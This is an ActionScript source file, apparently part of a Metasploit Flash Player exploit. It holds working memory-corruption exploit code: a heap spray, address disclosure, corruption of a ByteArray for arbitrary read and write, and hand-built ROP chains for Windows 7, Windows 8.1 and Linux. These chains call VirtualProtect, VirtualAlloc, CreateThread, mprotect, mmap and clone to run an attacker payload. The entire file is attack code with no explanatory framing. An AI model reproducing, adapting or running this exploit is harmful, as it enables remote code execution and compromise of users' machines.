package { import flash.utils.ByteArray import flash.system.System public class Exploiter { private const VECTOR_OBJECTS_LENGTH:uint = 1014 private var exploit:Exploit private var ev:ExploitVector private var eba:ExploitByteArray private var payload:ByteArray private var platform:String private var op_system:String private var pos:uint private var byte_array_object:uint private var main:uint private var stack_object:uint private var payload_space_object:uint private var buffer_object:uint private var buffer:uint private var vtable:uint private var stack_address:uint private var payload_address:uint private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) private var spray:Vector. = new Vector.(89698) public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void { exploit = exp payload = p platform = pl op_system = os ev = new ExploitVector(uv) if (!ev.is_ready()) return eba = new ExploitByteArray(platform) spray_objects() try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } ev.set_own_address(pos) if (!disclose_objects()) { ev.restore(); cleanup(); return; } disclose_addresses() corrupt_byte_array() if (!eba.is_ready()) { ev.restore(); cleanup(); return } do_rop() restore_byte_array() ev.restore() cleanup() } private function spray_objects():void { Logger.log("[*] Exploiter - spray_objects()") for (var i:uint = 0; i < spray.length; i++) { spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) spray[i][0] = eba.ba spray[i][1] = exploit spray[i][2] = stack spray[i][3] = payload_space } } private function search_objects():uint { Logger.log("[*] Exploiter - search_objects()") var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000) return idx + 1 } private function disclose_objects():Boolean { Logger.log("[*] Exploiter - disclose_objects()") byte_array_object = ev.at(pos) - 1 main = ev.at(pos + 1) - 1 stack_object = ev.at(pos + 2) - 1 payload_space_object = ev.at(pos + 3) - 1 if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { return false } return true } private function disclose_addresses():void { Logger.log("[*] Exploiter - disclose_addresses()") if (platform == "linux") { buffer_object = ev.read(byte_array_object + 0x10) buffer = ev.read(buffer_object + 0x1c) } else if (platform == "win") { buffer_object = ev.read(byte_array_object + 0x40) buffer = ev.read(buffer_object + 8) } vtable = ev.read(main) stack_address = ev.read(stack_object + 0x18) payload_address = ev.read(payload_space_object + 0x18) } private function corrupt_byte_array():void { Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) if (platform == "linux") { ev.write(buffer_object + 0x1c) // *array ev.write(buffer_object + 0x20, 0xffffffff) // capacity } else if (platform == "win") { ev.write(buffer_object + 8) // *array ev.write(buffer_object + 16, 0xffffffff) // capacity } eba.lets_ready() } private function restore_byte_array():void { Logger.log("[*] Exploiter - restore_byte_array(): " + platform) if (platform == "linux") { ev.write(buffer_object + 0x1c, buffer) // *array ev.write(buffer_object + 0x20, 1024) // capacity } else if (platform == "win") { ev.write(buffer_object + 8, buffer) // *array ev.write(buffer_object + 16, 1024) // capacity } eba.set_length(eba.original_length) } private function do_rop():void { Logger.log("[*] Exploiter - do_rop()") if (platform == "linux") { do_rop_linux() } else if (platform == "win") { if (op_system == "Windows 8.1") { do_rop_windows8() } else if (op_system == "Windows 7") { do_rop_windows() } else { return } } else { return } } private function do_rop_windows():void { Logger.log("[*] Exploiter - do_rop_windows()") var pe:PE = new PE(eba) var flash:uint = pe.base(vtable) var winmm:uint = pe.module("winmm.dll", flash) var kernel32:uint = pe.module("kernel32.dll", winmm) var ntdll:uint = pe.module("ntdll.dll", kernel32) var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) var createthread:uint = pe.procedure("CreateThread", kernel32) var memcpy:uint = pe.procedure("memcpy", ntdll) var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) // Continuation of execution eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main eba.write(0, "\x89\x03", false) // mov [ebx], eax eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret // Put the payload (command) in memory eba.write(payload_address + 8, payload, true); // payload // Put the fake vtabe / stack on memory eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot eba.write(0, virtualprotect) // VirtualProtect eba.write(0, virtualalloc) eba.write(0, buffer + 0x10) eba.write(0, 0x1000) eba.write(0, 0x40) eba.write(0, buffer + 0x8) // Writable address (4 bytes) // VirtualAlloc eba.write(0, memcpy) eba.write(0, 0x7f6e0000) eba.write(0, 0x4000) eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE // memcpy eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't eba.write(0, 0x7f6e0000) eba.write(0, payload_address + 8) eba.write(0, payload.length) // CreateThread eba.write(0, createthread) eba.write(0, buffer + 0x10) // return to fix things eba.write(0, 0) eba.write(0, 0) eba.write(0, 0x7f6e0000) eba.write(0, 0) eba.write(0, 0) eba.write(0, 0) eba.write(main, stack_address + 0x18000) // overwrite with fake vtable exploit.toString() // call method in the fake vtable } private function do_rop_windows8():void { Logger.log("[*] Exploiter - do_rop_windows8()") var pe:PE = new PE(eba) var flash:uint = pe.base(vtable) var winmm:uint = pe.module("winmm.dll", flash) var advapi32:uint = pe.module("advapi32.dll", flash) var kernelbase:uint = pe.module("kernelbase.dll", advapi32) var kernel32:uint = pe.module("kernel32.dll", winmm) var ntdll:uint = pe.module("ntdll.dll", kernel32) var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) var createthread:uint = pe.procedure("CreateThread", kernelbase) var memcpy:uint = pe.procedure("memcpy", ntdll) var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) // Continuation of execution eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main eba.write(0, "\x89\x03", false) // mov [ebx], eax eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret // Put the payload (command) in memory eba.write(payload_address + 8, payload, true); // payload // Put the fake vtabe / stack on memory eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot eba.write(0, virtualprotect) // VirtualProtect eba.write(0, virtualalloc) eba.write(0, buffer + 0x10) eba.write(0, 0x1000) eba.write(0, 0x40) eba.write(0, buffer + 0x8) // Writable address (4 bytes) // VirtualAlloc eba.write(0, memcpy) eba.write(0, 0x7ffd0000) eba.write(0, 0x4000) eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE // memcpy eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't eba.write(0, 0x7ffd0000) eba.write(0, payload_address + 8) eba.write(0, payload.length) // CreateThread eba.write(0, createthread) eba.write(0, buffer + 0x10) // return to fix things eba.write(0, 0) eba.write(0, 0) eba.write(0, 0x7ffd0000) eba.write(0, 0) eba.write(0, 0) eba.write(0, 0) eba.write(main, stack_address + 0x18000) // overwrite with fake vtable exploit.toString() // call method in the fake vtable } private function do_rop_linux():void { Logger.log("[*] Exploiter - do_rop_linux()") var flash:Elf = new Elf(eba, vtable) var feof:uint = flash.external_symbol('feof') var libc:Elf = new Elf(eba, feof) var popen:uint = libc.symbol("popen") var mprotect:uint = libc.symbol("mprotect") var mmap:uint = libc.symbol("mmap") var clone:uint = libc.symbol("clone") var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) // Continuation of execution // 1) Recover original vtable eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main eba.write(0, "\x89\x03", false) // mov [ebx], eax // 2) Recover original stack eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi // my_memcpy eba.write(buffer + 0x60, "\x56", false) // push esi eba.write(0, "\x57", false) // push edi eba.write(0, "\x51", false) // push ecx eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] eba.write(0, "\xF3\xA4", false) // rep movsb eba.write(0, "\x59", false) // pop ecx eba.write(0, "\x5f", false) // pop edi eba.write(0, "\x5e", false) // pop esi eba.write(0, "\xc3", false) // ret // Put the popen parameters in memory eba.write(payload_address + 0x8, payload, true) // false // Put the fake stack/vtable on memory eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 // Return to mprotect() eba.write(stack_address + 0x18034, mprotect) // Return to stackpivot (jmp over mprotect parameters) eba.write(0, addesp2cret) // mprotect() arguments eba.write(0, buffer) // addr eba.write(0, 0x1000) // size eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC // Return to mmap() eba.write(stack_address + 0x18068, mmap) // Return to stackpivot (jmp over mmap parameters) eba.write(0, addesp2cret) // mmap() code segment arguments eba.write(0, 0x70000000) // 0x70000000 eba.write(0, 0x4000) // size eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS eba.write(0, 0xffffffff) // filedes eba.write(0, 0) // offset // Return to mmap() eba.write(stack_address + 0x1809c, mmap) // Return to stackpivot (jmp over mmap parameters) eba.write(0, addesp2cret) // mmap() stack segment arguments eba.write(0, 0x70008000) // NULL eba.write(0, 0x10000) // size eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS eba.write(0, -1) // filedes eba.write(0, 0) // offset // Return to memcpy() eba.write(stack_address + 0x180d0, buffer + 0x60) // Return to stackpivot (jmp over memcpy parameters) eba.write(0, addesp2cret) // memcpy() parameters eba.write(0, 0x70000000) eba.write(0, payload_address + 0x8) eba.write(0, payload.length) // Return to clone() eba.write(stack_address + 0x18104, clone) // Return to CoE (fix stack and object vtable) eba.write(0, buffer + 0x10) // clone() arguments eba.write(0, 0x70000000) // code eba.write(0, 0x7000bff0) // stack eba.write(0, 0x00000100) // flags CLONE_VM eba.write(0, 0) // args //call DWORD PTR [eax+0x24] //EAX: 0x41414141 ('AAAA') //EDI: 0xad857088 ("AAAA\377") eba.write(main, stack_address + 0x18000) exploit.hasOwnProperty('msf') } private function cleanup():void { Logger.log("[*] Exploiter - cleanup()") spray = null stack = null payload_space = null eba = null ev = null exploit = null System.pauseForGCIfCollectionImminent(0) } } }